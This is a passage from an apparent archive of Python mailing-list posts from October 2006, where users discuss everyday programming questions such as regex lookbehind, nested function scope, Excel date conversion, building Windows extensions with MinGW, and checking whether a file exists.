     # Select a quote where the ID matches that number
     q = "SELECT Author, Quote FROM PythonQuoteQuery WHERE ID=?"
     c.execute (q, quote_number)
     quote = c.fetchone()
     # NOTE THE RETURN VALUE:
     return quote

def print_quote(quote): # <== NOTE THE PARAMETER
   print quote           # <== WHATEVER YOU WANT TO DO

if __name__ == '__main__':
     if len(sys.argv) == 1:
         c = connect()            # <== NO COLLISION: NAMESPACES
         quote = random_quote(c)  # <== DITTO
         print_quote(quote)       # THERE YOU HAVE IT


James


From MonkeeSage at gmail.com  Sat Oct  7 19:15:52 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 7 Oct 2006 16:15:52 -0700
Subject: Can't get around "IndexError: list index out of range"
In-Reply-To: <mailman.28.1160242710.11739.python-list@python.org>
References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com>
	<mailman.1223.1159934114.10491.python-list@python.org>
	<1160179043.266322.311940@i3g2000cwc.googlegroups.com>
	<mailman.1.1160189272.11739.python-list@python.org>
	<1160198110.064741.133700@k70g2000cwa.googlegroups.com>
	<mailman.18.1160209645.11739.python-list@python.org>
	<1160241982.216511.281950@m73g2000cwd.googlegroups.com>
	<mailman.28.1160242710.11739.python-list@python.org>
Message-ID: <1160262952.734016.306150@e3g2000cwe.googlegroups.com>


On Oct 7, 12:37 pm, Fredrik Lundh <fred... at pythonware.com> wrote:
> for what?

  key in self.keys()

And d.get() looks like sugar for:

  if self.has_key(key):
    return self[key]
  else:
    return default_value

Why not have the same sugar for sequence types? E.g.,

  def has_index(self, index):
    return index < len(self)

  def get(self, index, default=None):
    if self.has_index(index):
      return self[index]
    return default

I understand not wanting to add bloat without use cases and / or  when
the programmer can easily implement the functionality themselves; but I
don't see why the sugar would be added for dict but not sequence types.
The fact of easy implementation by the programmer without the
convenience method is the same in both cases, and I would assume (but
don't claim to know) that one could find many use cases for, e.g.,
list.has_index() / . get().

Regards,
Jordan



From DustanGroups at gmail.com  Thu Oct  5 18:39:54 2006
From: DustanGroups at gmail.com (Dustan)
Date: 5 Oct 2006 15:39:54 -0700
Subject: Strange sorting error message
In-Reply-To: <HMfVg.4318$5i7.2585@newsreading01.news.tds.net>
References: <1159915028.355898.40080@b28g2000cwb.googlegroups.com>
	<mailman.1214.1159929494.10491.python-list@python.org>
	<1160085635.215544.96580@h48g2000cwc.googlegroups.com>
	<HMfVg.4318$5i7.2585@newsreading01.news.tds.net>
Message-ID: <1160087994.520447.199830@e3g2000cwe.googlegroups.com>


Neil Cerutti wrote:
> On 2006-10-05, Dustan <DustanGroups at gmail.com> wrote:
> >
> > Steve Holden wrote:
> >> Dustan wrote:
> >> > I'm hiding some of the details here, because I don't want to
> >> > say what I'm actually doing.
> >> > [...]
> >>
> >> I have the answer to your problem but I don't actually want to
> >> tell you what it is.
> >
> > That's great, seeing as I already figured out the answer, as I
> > have already posted in a reply.
>
> I had a good laugh at it.
>
> > Are you saying I broke one of these rules?
> > http://www.catb.org/~esr/faqs/smart-questions.html
> > Or are you just being plain rude?
> > A lack of a response from you implies the latter...
>
> SPOILER SPACE
>
> It was a joke, based on you hiding what you are doing, he decided
> to hide the solution to your problem. Get it?

Ah, now I get it... Well, not really. I'm not outgoing, so it's hard
for me to spot a joke when I see one.

> 
> -- 
> Neil Cerutti



From aisaac0 at verizon.net  Tue Oct  3 08:57:09 2006
From: aisaac0 at verizon.net (David Isaac)
Date: Tue, 03 Oct 2006 12:57:09 GMT
Subject: loop beats generator expr creating large dict!?
References: <20061002215040.65003374.gry@ll.mit.edu>
	<1159866342.984495.254000@i42g2000cwa.googlegroups.com>
Message-ID: <F6tUg.7027$pS3.4731@trnddc01>

Does George's example raise the question:
why do dictionaries not implement efficient creation
for two common cases?

- Making a dict from two sequences of the same length.
- Making a dict from a sequence and a function
  (as in George's example in this thread).

The current situation is:
use a loop because the obvious generator approach
is not efficient.  Something seems wrong here...

Cheers,
Alan Isaac




From blue99 at interia.pl  Wed Oct 18 04:43:10 2006
From: blue99 at interia.pl (Rob Wolfe)
Date: 18 Oct 2006 01:43:10 -0700
Subject: a little about regex
In-Reply-To: <mailman.669.1161155299.11739.python-list@python.org>
References: <mailman.669.1161155299.11739.python-list@python.org>
Message-ID: <1161160990.381368.53770@m73g2000cwd.googlegroups.com>


Fulvio wrote:

> I'm trying to get working an assertion which filter address from some domain
> but if it's prefixed by '.com'.
> Even trying to put the result in a negate test I can't get the wanted result.

[...]

> Seem that I miss some better regex implementation to avoid that both of the
> filters taking action. I'm thinking of lookbehind (negative or positive)
> option, but I think I couldn't realize it yet.
> I think the compilation should either allow have no '.com' before '.my' or
> deny should have _only_ '.com' before '.my'. Sorry I don't get the correct
> sintax to do it.
>
> Suggestions are welcome.

Try this:

def filter(adr):    # note that "filter" is a builtin function also
    import re

    allow = re.compile(r'.*(?<!\.com)\.my(>|$)')  # negative lookbehind
    deny = re.compile(r'.*\.com\.my(>|$)')
    cnt = 0
    if deny.search(adr): cnt += 1
    if allow.search(adr): cnt += 1
    return cnt


HTH,
Rob



From bignose+hates-spam at benfinney.id.au  Sat Oct 28 04:05:44 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Sat, 28 Oct 2006 18:05:44 +1000
Subject: Where do nested functions live?
References: <pan.2006.10.28.07.56.22.854398@REMOVE.THIS.cybersource.com.au>
Message-ID: <871wosdfvr.fsf@benfinney.id.au>

"Steven D'Aprano" <steve at REMOVE.THIS.cybersource.com.au> writes:

> I defined a nested function:
>
> def foo():
>     def bar():
>         return "bar"
>     return "foo " + bar()
>
> which works. Knowing how Python loves namespaces, I thought I could
> do this:
>
> >>> foo.bar()
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
> AttributeError: 'function' object has no attribute 'bar'
>
> but it doesn't work as I expected.

Functions don't get attributes automatically added to them the way
class do. The main exception is the '__doc__' attribute, referring to
the doc string value.

> where do nested functions live?

They live inside the scope of the function. Inaccessible from outside,
which is as it should be. Functions interact with the outside world
through a tightly-defined interface, defined by their input parameters
and their return value.

> How can you access them, for example, to read their doc strings?

If you want something that can be called *and* define its attributes,
you want something more complex than the default function type. Define
a class that has a '__call__' attribute, make an instance of that, and
you'll be able to access attributes and call it like a function.

-- 
 \          "Writing a book is like washing an elephant: there no good |
  `\        place to begin or end, and it's hard to keep track of what |
_o__)                           you've already covered."  -- Anonymous |
Ben Finney



From scott.daniels at acm.org  Sun Oct  1 14:12:24 2006
From: scott.daniels at acm.org (Scott David Daniels)
Date: Sun, 01 Oct 2006 11:12:24 -0700
Subject: Battlefield Weapon Popularity Trend
In-Reply-To: <mailman.850.1159413898.10491.python-list@python.org>
References: <1159326181.251558.123500@m73g2000cwd.googlegroups.com>	<efd9g0$sn5$1@mlucom4.urz.uni-halle.de>	<mailman.784.1159348105.10491.python-list@python.org>	<efdk3v$2ia$1@mlucom4.urz.uni-halle.de>
	<mailman.850.1159413898.10491.python-list@python.org>
Message-ID: <451ffd2d$1@nntp0.pdx.net>

Gabriel Genellina wrote:
> At Wednesday 27/9/2006 07:30, Mirco Wahab wrote:
> 
>> >> When the Samurai of medieval Japan were confronted
>> >> with new 'battlefield language', e.g. early Shotguns,
>> >> they resisted because one could push any peasant
>> >
>> > shouldn't this be "they [the Samurai] did not resist"?
>>
>> The "resisted" believing all the buzz,
>> e.g.: "armies made of dudes with guns" ...
> 
>  From the name I guess Ramon speaks Spanish; "resistir" in Spanish has a 
> similar meaning, but not exactly the same, as "to resist"

As we all know, a "resistir" has a reactance that doesn't vary with
frequency, unlike an "inductir".

--Scott David Daniels  (who couldn't resist)
scott.daniels at acm.org


From deets at nospam.web.de  Fri Oct 27 21:22:54 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Sat, 28 Oct 2006 03:22:54 +0200
Subject: What is the cleanest way to for a module to access objects from
	the script that imports it?
In-Reply-To: <1161986024.956989.218370@i42g2000cwa.googlegroups.com>
References: <1161986024.956989.218370@i42g2000cwa.googlegroups.com>
Message-ID: <4qfpnaFmr8a7U1@uni-berlin.de>

noamsml at gmail.com schrieb:
> Hi,
> 
> I am new to python and am currently writing my first application. One
> of the problems I quickly ran into, however, is that python's imports
> are very different from php/C++ includes in the sense that they
> completely wrap the imported script in a module object. One of the
> problems with this was that a plugin system that I am making requires
> use of objects, classes and the such from the original script. Thus, on
> one hand, I am hesitant to use execfile(), since I *do* want to wrap
> the plugin up, but on the other hand, I want the plugin to be able to
> use functions from the original script. Any ideas?

If you really have a C++ background, you should be aware that this 
language requires each and every bit of declarations to be known 
beforehand. Which means you need stuff to be factorized into header 
files, and include them wherever you want to use things.

Python is waaaay more relaxed in this regard. As long as you only use 
objects, it actually doesn't give a damn  about "knowing" them. if you 
need to instantiate them, there isn't anything wrong about importing a 
main module from a plugin module - you can do that. However, things can 
get messed up if you really do a circular import, meaning that you don't 
have a plugin system with lazy loading, but "real" cycles.

Diez


From michael at guerrilla-games.com  Tue Oct 24 04:39:09 2006
From: michael at guerrilla-games.com (Michael Malinowski)
Date: Tue, 24 Oct 2006 10:39:09 +0200
Subject: forcing a definition to be called on attribute change
In-Reply-To: <1161355685.049304.314360@m7g2000cwm.googlegroups.com>
Message-ID: <013e01c6f747$e004afa0$a8e7ca2b@guerrillagames.com>

Hey All, 
Apologies if this is a stupidly obvious or simple question. If I have a
class with a series of attributes, is there a way to run a function
definition in the class whenever a specific attribute is changed?

Something like the following 

class cSphere() :
	
	def __init__(self):
		Self.myAttr = 0

	def runThisFunctionWhenMyAttrChanged() :
		Pass




Thanks

Mike.



From fuzzyman at gmail.com  Fri Oct 13 19:12:33 2006
From: fuzzyman at gmail.com (Fuzzyman)
Date: 13 Oct 2006 16:12:33 -0700
Subject: Best IDE?
In-Reply-To: <1160750319.845988.28050@m73g2000cwd.googlegroups.com>
References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com>
	<1160750319.845988.28050@m73g2000cwd.googlegroups.com>
Message-ID: <1160781153.445015.11620@i42g2000cwa.googlegroups.com>


BartlebyScrivener wrote:
> Ahmer wrote:
> > What do you guys use?
> > Why?
>
> http://tinyurl.com/ybg6p5
>

Hmm... only 31 results over a period of 8 years. That's a couple of
orders of magnitude less than I would have guessed.

Fuzzyman
http://www.voidspace.org.uk

> rd



From syedamjad_a at yahoo.com  Wed Oct 11 11:46:38 2006
From: syedamjad_a at yahoo.com (CSUIDL PROGRAMMEr)
Date: 11 Oct 2006 08:46:38 -0700
Subject: Regular expression worries
Message-ID: <1160581598.414778.11850@h48g2000cwc.googlegroups.com>

folks
I am new to python, so excuse me if i am asking stupid questions.

I have a txt file  and here are some lines of it

Document<Keyword<date:2006-08-19> Keyword<time:11:00:43>
Keyword<username:YOURBOTNICK> Keyword<data:localhost.localdomain>
Keyword<logon:localhost.localdomain
  > Keyword<date:2006-08-19> Keyword<time:11:00:44> Keyword<sender:>
Keyword<receiver:> Keyword<data::+iwx> Keyword<mode::+iwx

I am writing a python program to replace the tags and word  Document
with Doc.

Here is my python program

#! /usr/local/bin/python

import sys
import string
import re

def replace():
  filename='/root/Desktop/project/chatlog_20060819_110043.xml.txt'
  try:
    fh=open(filename,'r')
  except:
    print 'file not opened'
    sys.exit(1)
  for  l in
open('/root/Desktop/project/chatlog_20060819_110043.xml.txt'):

      l=l.replace("Document", "DOC")
      fh.close()

if __name__=="__main__":
  replace()

But it does not replace Document with Doc in  the txt file

Is there anything wrong i am doing

thanks



From sjmachin at lexicon.net  Fri Oct  6 10:24:23 2006
From: sjmachin at lexicon.net (John Machin)
Date: 6 Oct 2006 07:24:23 -0700
Subject: How do I read Excel file in Python?
In-Reply-To: <1160130159.381538.233160@k70g2000cwa.googlegroups.com>
References: <1160057474.600863.239360@k70g2000cwa.googlegroups.com>
	<1160061718.605057.243590@h48g2000cwc.googlegroups.com>
	<1160067650.709670.71460@e3g2000cwe.googlegroups.com>
	<1160069137.525290.90000@m73g2000cwd.googlegroups.com>
	<8c7f10c60610051203m37c5e1f6l40cb4f52cd2ede29@mail.gmail.com>
	<mailman.1380.1160076037.10491.python-list@python.org>
	<1160077793.218033.108840@m73g2000cwd.googlegroups.com>
	<1160092463.755080.127850@c28g2000cwb.googlegroups.com>
	<1160130159.381538.233160@k70g2000cwa.googlegroups.com>
Message-ID: <1160144661.647478.231250@h48g2000cwc.googlegroups.com>


Giles Brown wrote:
> John Machin wrote:
> > houdinihound at yahoo.com wrote:
> > > > > >>> excel_date = 38938.0
> > > > > >>> python_date = datetime.date(1900, 1, 1) + datetime.timedelta(days=excel_date)
> > > > > >>> python_date
> > > > > datetime.date(2006, 8, 11)
> > > >
> > > > Err, that's the wrong answer, isn't it? Perhaps it shoud be
> > > > datetime.date(1900, 1, 29)?
> > >
> > > Actually was about to post same solution and got same results. (BTW
> > > Simon, the OP date is Aug 9th, 2006).  Scratched head and googled for
> > > excel date calculations... found this bug where it treats 1900 as leap
> > > year incorrectly:
> > > http://www.ozgrid.com/Excel/ExcelDateandTimes.htm
> > >
> > > Plus it treats 1 jan 1900 as day 1, not 0 so just subtract 2 in the
> > > calc:
> > > >>>python_date = datetime.date(1900, 1, 1) + datetime.timedelta(days=excel_date - 2)
> > > >>> python_date
> > > datetime.date(2006, 8, 9)
> > >
> >
> > ... and 2006-08-09 is only the correct answer if the spreadsheet was,
> > when last saved, using the 1900 ("Windows") date system, not the 1904
> > ("Macintosh") date system.
>
> John,
> Just for me own curiosity, is this Excel concept of date numbers same
> as the OLE
> concept (see http://msdn2.microsoft.com/en-us/library/82ab7w69.aspx or
> search "MFC DATE" on MSDN).
>
> I put in some test cases for conversion code here:
>    http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/496683
>
> But would be interested to add any additional info on variations on
> this theme.
>

Hi Giles,

Those OLE date numbers coincide with Excel 1900-system date numbers
from 1900-03-01 onwards. Excel treats day 60 as the non-existent
1900-02-29.

Cheers,
John



From anthra.norell at vtxmail.ch  Tue Oct 24 03:31:54 2006
From: anthra.norell at vtxmail.ch (Frederic Rentsch)
Date: Tue, 24 Oct 2006 09:31:54 +0200
Subject: Attempting to parse free-form ANSI text.
In-Reply-To: <ehj5dr$8s9$1@sea.gmane.org>
References: <GsGdnTIYc-lXaafYnZ2dnUVZ_sCdnZ2d@comcast.com>	<JfU_g.1083$GR2.132@tornado.texas.rr.com>	<453CBC03.6090003@vtxmail.ch>	<453D151C.8080905@vtxmail.ch>	<453D16CA.6030805@vtxmail.ch>
	<ehj5dr$8s9$1@sea.gmane.org>
Message-ID: <453DC16A.5030801@vtxmail.ch>

Steve Holden wrote:
> Frederic Rentsch wrote:
>   
>> Frederic Rentsch wrote:
>>
>>     
>>> Frederic Rentsch wrote:
>>>  
>>>
>>>       
>>>> Paul McGuire wrote:
>>>>  
>>>>    
>>>>
>>>>         
>>>>> "Michael B. Trausch" <"mike$#at^&nospam!%trauschus"> wrote in message 
>>>>>    
>>>>>      
>>>>>           
>>> Sorry about the line wrap mess in the previous message. I try again with 
>>> another setting:
>>>
>>> Frederic
>>>  
>>>       
>> I give up!
>>
>>
>>     
> Don't give up, attach it as a file!
>
> regards
>   Steve
>   

Thank you for the encourangement!

Frederic

-------------- next part --------------
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From torriem at chem.byu.edu  Fri Oct 13 19:41:05 2006
From: torriem at chem.byu.edu (Michael L Torrie)
Date: Fri, 13 Oct 2006 17:41:05 -0600
Subject: building extensions for Windows Python
In-Reply-To: <pan.2006.10.13.15.39.25.338194@bellsouth.net>
References: <pan.2006.10.13.15.39.25.338194@bellsouth.net>
Message-ID: <1160782865.10526.38.camel@isengard>

On Fri, 2006-10-13 at 11:39 -0400, JW wrote:
> I have a lousy little Python extension, generated with the generous help
> of Pyrex.  In Linux, things are simple.  I compile the extension, link it
> against some C stuff, and *poof*! everything works.
> 
> My employer wants me to create a Windows version of my extension that
> works with the vanilla Python 2.5 from python.org.
> 
> My employment contract states that I won't be required to run Windows, and
> I desperately want to honor that clause. Ideally,  I'd somehow MinGw cross
> compile like I do with C/C++ and *poof*!, out would pop a file I could
> hand out to someone who wanted to "import <my_lousy_extension>".

I took a very simple pyrex file that compiled and worked fine on linux
and built it for windows using my mingw cross compiler.  

First I borrowed a complete windows python installation and stuck it on
my linux drive (in my case in /usr/i386-pc-mingw32/Python2.4.

Then I just did:

$ pyrex test.pyx

$ i386-pc-mingw32-gcc -o test.dll test.c -I/usr/i386-pc-
mingw32/include/python2.4 -mwindows -shared -lpython24 -L/usr/i386-pc-
mingw32/Python2.4/lib

Since there were no special windows libraries used, there were no code
changes required at all.  So look into the mingw cross compiler.
Usually you have to build it yourself.  see
http://www.torriefamily.org/~torriem/cross for more information.  The
information on the windows target is in the second half of the document.
This document used the OS X as the build host, but the same steps work
on linux.  I prefer to use /usr/local or /usr as my prefix (ending up
with /usr/local/bin/i386-pc-mingw32-gcc etc)

Michael


> 
> In Windows, things aren't so simple.  I'm immediately bedazzled by a vast,
> unfamiliar nomenclature: "VC6", "VC7.1", "msvcrt", "msvcr71", "msvcr80",
> "VS2005", "VS2007", "MSVC2003", "MSVC2005", "Express Edition", ".NET SDK",
> etc. 
> 
> The python.org "recommended compiler" is apparently no longer
> available, but someone posted a link to an obscure Microsoft webpage
> artifact where it could still be obtained.  Running it under WINE is less
> than ideal, but I decided to try and make it work.  However, when I tried
> installing the compiler, it failed because my "Internet Explorer [was] out
> of date."  I'm not sure how IE comes into the picture, but I'm just a
> programmer, after all.
> 
> I am further confused by the python.org docs on using MinGw to build
> extensions:  "These instructions only apply if you're using a version of
> Python prior to 2.4.1 with a MinGW prior to 3.0.0", but further on:
> "pcexports python25.dll >python25.def" seems to contradict that.  It
> really makes no difference.  The referenced webpage where the "pcexports"
> tool is found seems defunct.
> 
> My main problem is that I don't really grasp the big picture.  Can someone
> give me an overview of the requirements to build extensions for Windows
> Python, circa 2.5?  Or, can I tell my employer she'll just have to
> hire/contract a Windows expert to do the mud wrestling?
> 
> Jim Wilson
> Gainesville, FL



From usenet-mail-0306.20.chr0n0ss at spamgourmet.com  Thu Oct 26 12:47:04 2006
From: usenet-mail-0306.20.chr0n0ss at spamgourmet.com (Bjoern Schliessmann)
Date: Thu, 26 Oct 2006 18:47:04 +0200
Subject: my first software
References: <1161866381.967287.30490@m7g2000cwm.googlegroups.com>
Message-ID: <4qc748Fm34hdU1@individual.net>

FS.Jason at gmail.com wrote:

> #!C:\\Python25

Just from curiosity: Since when does the hash bang work in Windows?

Regards,


Bj?rn

-- 
BOFH excuse #417:

Computer room being moved.  Our systems are down for the weekend.



From JohnRoth1 at jhrothjr.com  Sat Oct  7 09:05:05 2006
From: JohnRoth1 at jhrothjr.com (John Roth)
Date: 7 Oct 2006 06:05:05 -0700
Subject: Names changed to protect the guilty
In-Reply-To: <eg6opn$7oj$1@panix3.panix.com>
References: <eg6opn$7oj$1@panix3.panix.com>
Message-ID: <1160226305.351361.179110@h48g2000cwc.googlegroups.com>


Aahz wrote:
> The following line of lightly munged code was found in a publicly
> available Python library...
>
>     if schema.elements.has_key(key) is False:
>
> Sorry, just had to vent.
> --
> Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

Uh, guys. IMO, the clearest way of writing this is:

if key not in schema.elements:
    whatever...

Unless, of course, your code has to run in a
Python release earlier than 2.2. But then you
wouldn't be testing for the False object anyway.



John Roth



From steve at holdenweb.com  Sat Oct 28 04:09:34 2006
From: steve at holdenweb.com (Steve Holden)
Date: Sat, 28 Oct 2006 09:09:34 +0100
Subject: Where do nested functions live?
In-Reply-To: <pan.2006.10.28.07.56.22.854398@REMOVE.THIS.cybersource.com.au>
References: <pan.2006.10.28.07.56.22.854398@REMOVE.THIS.cybersource.com.au>
Message-ID: <ehv35p$bao$1@sea.gmane.org>

Steven D'Aprano wrote:
> I defined a nested function:
> 
> def foo():
>     def bar():
>         return "bar"
>     return "foo " + bar()
> 
> which works. Knowing how Python loves namespaces, I thought I could do
> this:
> 
> 
>>>>foo.bar()
> 
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
> AttributeError: 'function' object has no attribute 'bar'
> 
> but it doesn't work as I expected.
> 
> 
> where do nested functions live? How can you access them, for example, to
> read their doc strings?
> 
> 
> 
It doesn't "live" anywhere: if I wrote the function

def foo():
     locvar = 23
     return locvar

would you expect to be able to access foo.locvar?

It's exactly the same thing: the statement

     def bar():

isn't executed until the foo() function is called, and its execution 
binds the name bar in foo's local namespace to the function that is defined.

regards
  Steve

-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From heikki at osafoundation.org  Wed Oct 25 14:48:44 2006
From: heikki at osafoundation.org (Heikki Toivonen)
Date: Wed, 25 Oct 2006 11:48:44 -0700
Subject: https client certificate validation
In-Reply-To: <mailman.1029.1161652557.11739.python-list@python.org>
References: <mailman.1029.1161652557.11739.python-list@python.org>
Message-ID: <17SdnXVNk4FPLKLYnZ2dnUVZ_r-dnZ2d@comcast.com>

Yogesh Chawla - PD wrote:
> After writing a basic script using HTTPSConnection, I
> found this in the docs:
> 
> Warning: This does not do any certificate
> verification!

Right, for production you use almost certainly need to use some 3rd
party SSL library, of which there are several.

> I then tried to do the same using twisted, m2crypto
> and a few other projects.

M2Crypto does support client certificate validation, so I am a bit at a
loss what problem you are facing. There is even a unit test that does
mutual authentication:
http://lxr.osafoundation.org/m2crypto/source/tests/test_ssl.py#478

-- 
  Heikki Toivonen


From georgeryoung at gmail.com  Tue Oct 31 19:56:30 2006
From: georgeryoung at gmail.com (georgeryoung at gmail.com)
Date: 31 Oct 2006 16:56:30 -0800
Subject: best way to check if a file exists?
In-Reply-To: <EQO1h.213$1n3.4609@news.tufts.edu>
References: <EQO1h.213$1n3.4609@news.tufts.edu>
Message-ID: <1162342589.986315.254450@e64g2000cwd.googlegroups.com>

On Oct 31, 4:01 pm, John Salerno <johnj... at NOSPAMgmail.com> wrote:
> What is the best way to check if a file already exists in the current
> directory? I saw os.path.isfile(), but I'm not sure if that does more
> than what I need.
>
> I just want to check if a file of a certain name exists before the user
> creates a new file of that name.

You could be more "pythonic", and simply try to create the file,
catching the exception if if fails.  This works on linux:

try:
   newfd = os.open('foobar', os.O_EXCL | os.O_CREAT)
   new_file = os.fdopen(newdf)
except OSError, x:
   if x[1] == 'File exists':
      handle_file_exists()

[but beware unreliable on an NFS file system, from "man open":
   O_EXCL is broken  on  NFS  file
   systems,  programs  which  rely  on it for performing locking tasks
   will contain a race condition.  The solution for performing  atomic
   file  locking  using  a  lockfile is to create a unique file on the
   same fs (e.g., incorporating hostname and pid), use link(2) to make
   a  link  to the lockfile. If link() returns 0, the lock is
successful.?
   Otherwise, use stat(2) on the unique file  to  check  if  its
   link  count has increased to 2, in which case the lock is also
suc?cessful.]



From fidel.andrade at gmail.com  Fri Oct 20 15:57:59 2006
From: fidel.andrade at gmail.com (Fidel)
Date: Fri, 20 Oct 2006 13:57:59 -0600
Subject: I like python.
In-Reply-To: <mn.a5177d6a3d962dfa.46195@XX.XmclaveauX.com>
References: <mailman.824.1161333065.11739.python-list@python.org>
	<mn.a5177d6a3d962dfa.46195@XX.XmclaveauX.com>
Message-ID: <254cf6720610201257r1f423e87kea2cf6743e2c47a3@mail.gmail.com>

Renaming the file doesn't work. I am on windows... There is a specific
line of code that tells python not to bother even opening a window. of
any sort for any amount of time. I just don't know what it is and
haven't been able to find any reference to it.... Thanks for the help
though.

>assuming Windows, and assuming that you have a standard Python install for
>Windows: use "pyw" instead of "py" as the script's extension.
>
>(Windows applications come in two flavours: console applications and window
>applications.  the default executable for "py" files is "python.exe",
which is a con-
>sole application.  "pyw" uses "pythonw.exe" instead, which is exactly the same
>program, but linked as a window application instead).
>
></F>



On 10/20/06, MC <XX.XmcX at xx.xmclaveaux.com> wrote:
> Hi!
>
> Sorry, I don't understand well english.
> But, try to rename your script, from .py to .pyw (sample : titi.py ==>
> titi.pyw).
>
> --
> @-salutations
>
> Michel Claveau
>
>
> --
> http://mail.python.org/mailman/listinfo/python-list
>


-- 
Fidel


From skip at pobox.com  Tue Oct 31 14:16:14 2006
From: skip at pobox.com (skip at pobox.com)
Date: Tue, 31 Oct 2006 13:16:14 -0600
Subject: "best" rational number library for Python?
In-Reply-To: <7.0.1.0.0.20061031155415.04ce5078@yahoo.com.ar>
References: <7.0.1.0.0.20061031155415.04ce5078@yahoo.com.ar>
Message-ID: <17735.41214.338406.187531@montanaro.dyndns.org>


    Gabriel> Try clnum included in:
    Gabriel> http://sourceforge.net/projects/calcrpnpy

I tried that as well before trying GMP.  It (the base clnum library)
complained about the absence of GMP during configure and failed to compile.

Skip



From ygao2004 at gmail.com  Mon Oct  9 10:45:19 2006
From: ygao2004 at gmail.com (ygao)
Date: 9 Oct 2006 07:45:19 -0700
Subject: can compile function have a bug?
In-Reply-To: <egcult$391$03$1@news.t-online.com>
References: <1160274901.447221.45720@e3g2000cwe.googlegroups.com>
	<egcult$391$03$1@news.t-online.com>
Message-ID: <1160405119.040653.239740@i3g2000cwc.googlegroups.com>


Peter Otten wrote:
> ygao wrote:
>
> >>>> compile('U"?"','c:/test','single')
> > <code object ? at 00F06B60, file "c:/test", line 1>
> >>>> d=compile('U"?"','c:/test','single')
> >>>> d
> > <code object ? at 00F06BA0, file "c:/test", line 1>
> >>>> exec(d)
> > u'\xd6\xd0'
> >>>> U"?"
> > u'\u4e2d'
> >>>>
> >
> > why is the result different?
> > a bug or another reason?
>
> How that particular output came to be I don't know, but you should be able
> to avoid the confusion by either passing a unicode string to compile() or
> specifying the encoding:
>
> >>> exec compile(u'u"?"','c:/test','single')
> u'\u4e2d'
> >>> exec compile('# -*- coding: utf8 -*-\nu"?"','c:/test','single')
> u'\u4e2d'
this is what I want!
many thanks!
>
> Peter
>
> PS: In and all-UTF-8 environment I would have /expected/ to see
>
> >>> your_encoding = "utf8"
> >>> identity = "latin1"
> >>> u'\u4e2d'.encode(your_encoding).decode(identity)
> u'\xe4\xb8\xad'
>
> and that's indeed what I get over here:
> 
> >>> exec compile('u"?"','c:/test','single')
> u'\xe4\xb8\xad'



From bj_666 at gmx.net  Tue Oct 17 13:15:06 2006
From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch)
Date: Tue, 17 Oct 2006 19:15:06 +0200
Subject: loop iterators?
References: <1161104511.877387.217410@h48g2000cwc.googlegroups.com>
Message-ID: <pan.2006.10.17.17.15.06.53713@gmx.net>

In <1161104511.877387.217410 at h48g2000cwc.googlegroups.com>, SpreadTooThin
wrote:

> Hi I need to get a for loop to give me an element from a list and an
> index number...
> for example:
> 
> i = 0
> l = ['a','b','c']
> for e in l:
>    print l, i
>    i = i + 1
> 
> Is there a way to get rid of the i processing in this script?

for i, e in enumerate(l):
    print i, e

Ciao,
	Marc 'BlackJack' Rintsch



From steve at holdenweb.com  Tue Oct 24 20:11:12 2006
From: steve at holdenweb.com (Steve Holden)
Date: Wed, 25 Oct 2006 01:11:12 +0100
Subject: Sending Dictionary via Network
In-Reply-To: <1161732155.264210.77250@f16g2000cwb.googlegroups.com>
References: <1161730229.556578.278020@f16g2000cwb.googlegroups.com>	<453e9ba0$0$3276$426a34cc@news.free.fr>
	<1161732155.264210.77250@f16g2000cwb.googlegroups.com>
Message-ID: <ehma0t$qbo$1@sea.gmane.org>

mumebuhi wrote:
> The simplejson module is really cool and simple to use. This is great!
> 
> For others who are just starting to use Python (like myself), simply
> download and decompress the source bundle then copy the simplejson
> directory to your sys.path (e.g. /usr/lib/python2.4/).
> 
Alternatively, if you want a complete installation,

EITHER go to

   http://cheeseshop.python.org/pypi/simplejson

download and extract the source then run

   python setup.py install

in the extracted directory.

OR if you have easy_install, just run

   easy_install simplejson

If you don't have easy_install, get it!

> Thanks so much, Bruno.
> 
regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From apardon at forel.vub.ac.be  Mon Oct  9 05:59:21 2006
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 9 Oct 2006 09:59:21 GMT
Subject: Names changed to protect the guilty
References: <eg6opn$7oj$1@panix3.panix.com>
	<1160182951.812677.178750@i42g2000cwa.googlegroups.com>
	<1160183076.034356.292780@i3g2000cwc.googlegroups.com>
	<1160184574.708331.78400@i3g2000cwc.googlegroups.com>
	<pan.2006.10.07.11.58.31.585485@REMOVE.THIS.cybersource.com.au>
	<1160222386.410987.230630@b28g2000cwb.googlegroups.com>
Message-ID: <slrneik7bp.55m.apardon@rcpc42.vub.ac.be>

On 2006-10-07, John Machin <sjmachin at lexicon.net> wrote:
>
> Steven D'Aprano wrote:
>> On Fri, 06 Oct 2006 18:29:34 -0700, John Machin wrote:
>>
>> >
>> > MonkeeSage wrote:
>> >> On Oct 6, 8:02 pm, "MonkeeSage" <MonkeeS... at gmail.com> wrote:
>> >> > it is clearer to you to make the condition explicit ("blah not False"),
>> >>
>> >> "blah not False" -> "blah is False"
>> >
>> > Whichever way your team wants to interpret it, d00d.
>> >
>> > Please consider whether you should be writing "(blah is False) is
>> > True", that would be more explicit.
>>
>> Puh-lease! Get it right!
>>
>> It should be "((blah is False) is True) is True".
>
> Yes, but it stops after one more iteration. "What I tell you three
> times is true" -- the Bellman, "The Hunting of the Snark", by Lewis
> Carroll.

Shouldn't it then be: "((blah is False) is False) is False"

-- 
Antoon Pardon


From jakobsg at gmail.com  Mon Oct  2 18:38:58 2006
From: jakobsg at gmail.com (jakobsg at gmail.com)
Date: 2 Oct 2006 15:38:58 -0700
Subject: Need help with an array problem.
In-Reply-To: <1159826923.911685.30120@m73g2000cwd.googlegroups.com>
